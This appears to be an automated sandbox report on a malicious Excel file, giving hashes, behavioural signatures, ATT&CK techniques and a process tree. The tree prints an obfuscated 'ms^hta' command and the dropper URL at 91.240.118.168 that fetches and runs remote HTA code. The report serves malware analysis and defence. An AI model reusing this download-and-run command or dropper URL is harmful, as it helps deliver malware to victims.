Overview

overview

10

Static

static

8

2022-1-28-...69.xls

windows7_x64

10

2022-1-28-...69.xls

windows10_x64

10

Analysis

  • max time kernel
    67s
  • max time network
    81s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    28-01-2022 01:27

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General

  • Target

    2022-1-28-7eced723576899b75511edb3cda5bb69.xls

  • Size

    46KB

  • MD5

    7eced723576899b75511edb3cda5bb69

  • SHA1

    c5819e9dd4863a29484f08f31979ff9ee5635d6e

  • SHA256

    b0dd275157f1e44d3a67df073c2504ccf2f9de33ffb66de6ef37d412434d4e5f

  • SHA512

    46120f22d2d203b565affbbf3619d57aa3fa5f62d78f67706677be893f7a9aa209dcb65167b0ba6ddfd8c8da6953f255d75640044968529507d97053388ad257

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2022-1-28-7eced723576899b75511edb3cda5bb69.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3064
    • C:\Windows\SYSTEM32\CMD.EXE
      CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3308
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.168/vvv/ppp/fe.html
        3⤵
        • Blocklisted process makes network request
        PID:1468
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 1468 -s 1620
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2412

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3
T1082

Query Registry

2
T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

  • memory/3064-115-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/3064-116-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp
    Filesize

    64KB

    Download